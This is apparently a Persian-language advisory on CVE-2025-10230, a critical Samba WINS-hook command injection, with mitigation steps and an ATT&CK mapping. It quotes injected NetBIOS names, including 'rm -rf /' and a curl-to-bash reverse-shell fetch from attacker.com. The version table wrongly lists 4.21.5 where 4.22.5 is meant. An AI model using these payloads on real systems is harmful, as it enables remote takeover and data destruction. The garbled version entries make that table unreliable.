خانه » CVE-2025-10230

CVE-2025-10230

Samba: command injection in wins server hook script

توسط Vulnerbyte Alerts
177 بازدید
هشدار سایبری CVE-2025-10230

چکیده

آسیب‌پذیری تزریق دستور سیستم‌عامل در بخش مدیریت WINS hook Samba به دلیل عدم اعتبارسنجی و خروجی‌سازی (escaping) نام‌های NetBIOS در بسته‌های ثبت‌نام WINS رخ می‌دهد. این ضعف به مهاجم این امکان را می‌دهد که بدون نیاز به احراز هویت و از راه دور، نام‌های مخرب را ارسال کرده و دستورات دلخواه را به‌عنوان فرآیند سامبا (معمولاً با دسترسی‌های بالا یا root) اجرا نماید. این آسیب‌پذیری تنها در پیکربندی سامبا به‌عنوان کنترل‌کننده دامنه Active Directory با فعال‌سازی WINS و WINS hook وجود دارد و نسخه‌های پیش از 4.21.9، 4.22.5 و 4.23.2 را تحت تأثیر قرار می‌دهد. این آسیب‌پذیری در صورت سوءاستفاده موفق می‌تواند منجر به اجرای کد از راه دور، سرقت اعتبارنامه‌ها و در نهایت از دست رفتن تمام دسترسی‌ها و اختلال کامل سیستم شود.

توضیحات

آسیب‌پذیری CVE-2025-10230 در بخش مدیریت WINS hook سرور سامبا ناشی از عدم خنثی‌سازی مناسب المنت های ویژه در دستورات سیستم‌عامل مطابق با CWE-78 است. سامبا (Samba) یک نرم‌افزار متن‌باز است که به سیستم‌های لینوکسی و یونیکسی اجازه می‌دهد تا با شبکه‌های ویندوزی از طریق پروتکل SMB/CIFS ارتباط برقرار کنند و همچنین از ویژگی‌هایی مانند WINS برای ثبت و حل نام‌های NetBIOS در شبکه‌های لوکال استفاده می‌کند. (Windows Internet Name Service) WINSنیز یک پروتکل قدیمی برای تبدیل نام‌های NetBIOS به آدرس‌های IP در شبکه‌های ویندوزی است.

این ضعف زمانی فعال می‌شود که سامبا به عنوان کنترل‌کننده دامنه (Active Directory Domain Controller, AD DC ) پیکربندی شده باشد و گزینه‌های wins support = yes (فعال‌سازی پشتیبانی WINS ) و wins hook (اسکریپتی سفارشی برای مدیریت تغییرات نام‌ها، مانند همگام‌سازی با پایگاه داده خارجی) در فایل smb.conf تنظیم شده باشند. در این حالت نام‌های NetBIOS (حداکثر 15 کاراکتر) از بسته‌های ثبت WINS (پورت UDP 42) بدون اعتبارسنجی یا خروجی سازی مناسب مستقیماً به دستور شل تزریق می‌شوند و توسط WINS hook با فرمان “sh -c” اجرا می‌گردند.

در نتیجه، مهاجم می‌تواند کاراکترهای مخرب شل مانند سمی‌کالن (;) یا بک‌تیک (`) را در نام NetBIOS جاسازی کند تا دستورات دلخواه را زنجیره‌ای اجرا نماید. برای مثال، مهاجم می‌تواند نامی مانند “malicious; rm -rf /” ارسال کند تا فایل‌ها را حذف کند یا دستوراتی برای سرقت داده‌ها اجرا نماید.

این حمله از طریق پروتکل WINS انجام می‌شود، جایی که بسته‌های ثبت (registration packets) از راه دور و بدون نیاز به احراز هویت ارسال می‌گردند. کامپوننت‌های آسیب‌پذیر شامل فرآیند smbd (سرویس اصلی سامبا) هستند که اغلب با مجوزهای root روی AD DC اجرا می‌شود و این امر اجازه می‌دهد مهاجم به سطح دسترسی کامل سیستم دست یابد.

بهره‌برداری از این ضعف به‌سادگی قابل خودکارسازی است؛ مهاجم می‌تواند با اسکریپت‌ها یا ابزارهای خودکار مانند Scapy (کتابخانه پایتون برای ساخت بسته‌های شبکه) یا hping3 (ابزار ساخت بسته‌های سفارشی)، به‌صورت از راه دور ، بدون تعامل کاربر و تنها با دسترسی به پورت UDP 42، نام NetBIOS مخربی مانند “evil;whoami” را در بسته WINS تزریق کند و خروجی دستور (مانند شناسایی کاربر root) را استخراج نماید. این فرآیند نیاز به دانش پایه سامبا دارد، زیرا حمله بدون پیش‌نیازهای پیچیده (مانند احراز هویت یا تعامل کاربر) قابل اجرا است. در سناریوهای پیشرفته، مهاجم می‌تواند زنجیره‌ای از دستورات را برای دانلود شل معکوس (reverse shell) اجرا کند، مانند “; curl http://attacker.com/rev.sh|bash” که منجر به کنترل کامل سیستم می‌شود.

کد اثبات مفهومی (PoC) عمومی متعددی منتشر شده است، از جمله اسکریپت پایتون در GitHub که با استفاده از Scapy بسته‌های WINS مخرب می‌سازد و دستوراتی مانند ایجاد فایل اثبات یا اجرای شل را تزریق می‌کند. همچنین اسکریپت‌های تشخیص و کاهش (detection و mitigation) منتشر شده نیز نسخه سامبا، نقش سرور و تنظیمات WINS را بررسی می‌کند. این PoCها روی نسخه‌های آسیب‌پذیر (مانند 4.21.8 یا قدیمی‌تر) تست شده و اجرای موفق را بدون نیاز به دسترسی لوکال تأیید می‌کنند.

پیامدهای آسیب‌پذیری شامل تأثیر بالا بر محرمانگی با افشای اعتبارنامه‌های AD و داده‌های حساس، یکپارچگی با تغییر تنظیمات دامنه یا تزریق بدافزار و در دسترس‌پذیری با اختلال در سرویس AD یا حذف داده‌ها است. این ضعف تنها در شرایط خاص فعال می‌شود؛ مانند زمانی که سامبا به عنوان AD DC با WINS فعال به شبکه متصل باشد و هوک wins به اسکریپتی معتبر اشاره کند. سامبا در توزیع‌های Red Hat Enterprise Linux (RHEL) نسخه‌های 6 تا 10، تحت تأثیر نیست زیرا AD DC پشتیبانی نمی‌شود. این آسیب‌پذیری با انتشار نسخه‌های 4.21.9، 4.22.5 و 4.23.2 به‌طور کامل پچ شده است، جایی که ورودی‌های NetBIOS قبل از اجرای hook اعتبارسنجی و خروجی سازی می‌شوند.

CVSS

Score Severity Version Vector String
10.0 CRITICAL 3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

لیست محصولات آسیب پذیر

Versions Product
affected from 0 before 4.21.9

affected from 4.22.0 before 4.21.5

affected from 4.23.0 before 4.23.2

Samba

لیست محصولات بروز شده

Versions Product
4.21.9

4.21.5

4.23.2

Samba

استفاده محصول در ایران

در این جدول، تعداد صفحات ایندکس‌شده در گوگل با دامنه .ir که Samba software را ذکر کرده اند، ثبت شده است. این داده صرفاً برای برآورد تقریبی حضور محصولات در وب ایران استفاده شده و نمایانگر میزان نصب دقیق و استفاده واقعی نیست.

Approx. Usage in .ir Domain via Google

(Total Pages)

Search Query (Dork) Product
173,000 site:.ir “Samba” “software” Samba software

نتیجه گیری

این آسیب‌پذیری با شدت بحرانی در سامبا، امکان اجرای کد از راه دور و بدون احراز هویت را از طریق تزریق دستور در WINS hook فراهم می‌کند. این ضعف در کنترل‌کننده‌های دامنه Active Directory (AD DC) می‌تواند منجر به سرقت اعتبارنامه‌ها، اختلال در سرویس و استقرار بدافزار شود. با توجه به وجود PoC عمومی و انتشار پچ‌های امنیتی، اجرای فوری اقدامات زیر برای رفع کامل ضعف و کاهش سطح ریسک ضروری است:

  • به‌روزرسانی فوری: تمام نمونه های ‌سامبا را به نسخه‌های امن 4.21.9 ، 4.22.5 یا 4.23.2 ارتقا دهید. این اقدام اصلی‌ترین و مؤثرترین راهکار است، زیرا ورودی‌های NetBIOS را اعتبارسنجی می‌کند و بهره‌برداری را غیرممکن می‌سازد. پس از ارتقا، باید تست سازگاری را انجام دهید. برای توزیع‌هایی مانند Ubuntu از دستور apt upgrade samba استفاده کنید.
  • غیرفعال‌سازی WINS: در فایل conf در بخش [global] گزینه wins support = no را تنظیم کنید (پیش‌فرض به‌طور معمول no است). همچنین می‌توانید wins hook را خالی کنید (wins hook = “”) تا این ترکیب آسیب‌پذیر (AD DC + WINS + hook) حذف شود. پس از این تغییرات، سرویس سامبا را با دستور systemctl restart samba-ad-dc راه‌اندازی مجدد کنید تا تغییرات اعمال شود.
  • پشتیبان‌گیری و تست: قبل از هر تغییر، از فایل conf نسخه پشتیبان تهیه کنید (مثلاً با دستور cp smb.conf smb.conf.bak) و از ابزار testparm برای بررسی صحت فایل پیکربندی سامبا استفاده کنید تا از بروز خطاهای پیکربندی جلوگیری شود.
  • نظارت و ثبت لاگ: لاگ‌های سامبا را در مسیر /var/log/samba با سطح DEBUG فعال کنید. از ابزارهایی مانند Falco (ابزار تشخیص نفوذ مبتنی بر سیستم‌کال) برای مانیتورینگ اجرای hook و بسته‌های WINS مشکوک استفاده کنید. همچنین هشدارهایی برای نام‌های NetBIOS حاوی کاراکترهای ویژه مانند ; و ` تنظیم کنید.
  • ایزوله‌سازی و کنترل دسترسی: سیستم‌های AD DC را در شبکه‌های ایزوله (مثلاً با استفاده از VLAN) قرار دهید و پورت UDP 42 (پورت WINS) را با فایروال‌هایی مانند iptables یا firewalld مسدود کنید. همچنین باید قوانین فایروال برای مسدود کردن بسته‌های WINS از منابع خارجی را اعمال کنید.
  • تست و ارزیابی امنیتی: سیستم‌ها را با ابزارهای اسکن نفوذ مانند OWASP ZAP یا Nessus تست کنید و تمرکز ویژه‌ای بر سناریوهای تزریق دستور در WINS داشته باشید. همچنین از اسکریپت‌های تشخیص مانند Vicarius برای بررسی پیکربندی سامبا استفاده کنید.
  • آموزش و سیاست‌های امنیتی: تیم‌های امنیتی را درباره ریسک‌های مرتبط با WINS در محیط‌های AD آموزش دهید و سیاست‌های امنیتی مانند اصل حداقل دسترسی را اعمال کنید. به‌ویژه، توصیه می‌شود که WINS hook را در محیط‌های عملیاتی غیرفعال کنید مگر در موارد ضروری و به‌جای استفاده از WINS قدیمی، از DNS مدرن استفاده کنید.

اجرای این اقدامات، به‌ویژه به‌روزرسانی سریع و غیرفعال‌سازی WINS ریسک ناشی از این آسیب پذیری را به حداقل رسانده و مقاومت کلی سامبا در برابر حملات مشابه را به‌طور قابل‌توجهی تقویت می کند.

امکان استفاده در تاکتیک های Mitre Attack

Initial Access (TA0001)

ورود اولیه از طریق بسته‌های WINS روی پورت UDP 42 انجام می‌شود؛ این سطح ورودی بدون احراز هویت و کاملاً پابلیک است. مهاجم فقط کافی است یک NetBIOS Name مخرب ارسال کند تا اجرای hook آغاز شود. این یعنی attack surface کاملاً exposed است و اگر شبکه segment نشده باشد، ورودی مهاجم تقریباً بدون friction اتفاق می‌افتد.

Execution (TA0002)

اجرای مستقیم کد از طریق تزریق المنت‌های شل در فیلد NetBIOS Name انجام می‌شود؛ ورودی بدون sanitization در دستور sh -c اجرا می‌شود.

Credential Access (TA0006)

از آن‌جایی که فرآیند smbd معمولاً با سطح دسترسی root اجرا می‌شود، اجرای کد می‌تواند به دسترسی به فایل‌های مهم، keytabها، secret database و credential store های AD DC منجر شود. مهاجم می‌تواند مسیرهای حساس مانند /var/lib/samba/private/* را dump کند.

Discovery (TA0007)

پس از اجرای موفق، مهاجم می‌تواند enumeration سطح سیستم، لیست سرویس‌ها، کاربران دامنه، trustها و mappingهای SMB را انجام دهد. با توجه به اجرای کد در context روت، discover بسیار عمیق می‌شود.

Defense Evasion (TA0005)

مهاجم می‌تواند اسکریپت‌های hook را patch کند، log pathها را تغییر دهد یا log rotation را از کار بیندازد. با توجه به این‌که WINS traffic معمولاً در شبکه‌های قدیمی noisy است، حمله ممکن است بدون دید کافی انجام شود.

Collection (TA0009)

جمع‌آوری داده از share های SMB، دیتابیس‌های AD، و فایل‌های حساس سیستم بسیار ساده است. فرآیند smbd تمام مسیرهای استراتژیک را در دسترس مهاجم قرار می‌دهد.

Exfiltration (TA0010)

با دسترسی روت، مهاجم می‌تواند داده‌ها را از طریق HTTP، HTTPS، ICMP یا حتی SMB outbound خارج کند.

Impact (TA0040)

شدت ضربه بسیار بالا: حذف داده‌ها (rm -rf)، اخلال کامل در AD، استقرار backdoor روی سطح دامنه، و takeover کامل اکوسیستم ویندوزی Availability، Integrity و Confidentiality کامل آسیب می‌بینند. این یک scenario کلاسیک “total domain compromise” است.

منابع

  1. https://www.cve.org/CVERecord?id=CVE-2025-10230
  2. https://www.cvedetails.com/cve/CVE-2025-10230/
  3. https://www.samba.org/samba/history/security.html
  4. https://vulmon.com/vulnerabilitydetails?qid=CVE-2025-10230
  5. https://vuldb.com/?id.328738
  6. https://access.redhat.com/security/cve/CVE-2025-10230
  7. https://bugzilla.redhat.com/show_bug.cgi?id=2394377
  8. https://www.vicarius.io/vsociety/posts/cve-2025-10230-detect-samba-vulnerability
  9. https://www.vicarius.io/vsociety/posts/cve-2025-10230-mitigate-samba-vulnerability
  10. https://github.com/B1ack4sh/Blackash-CVE-2025-10230
  11. https://github.com/nehkark/CVE-2025-10230
  12. https://nvd.nist.gov/vuln/detail/CVE-2025-10230
  13. https://cwe.mitre.org/data/definitions/78.html

همچنین ممکن است دوست داشته باشید

پیام بگذارید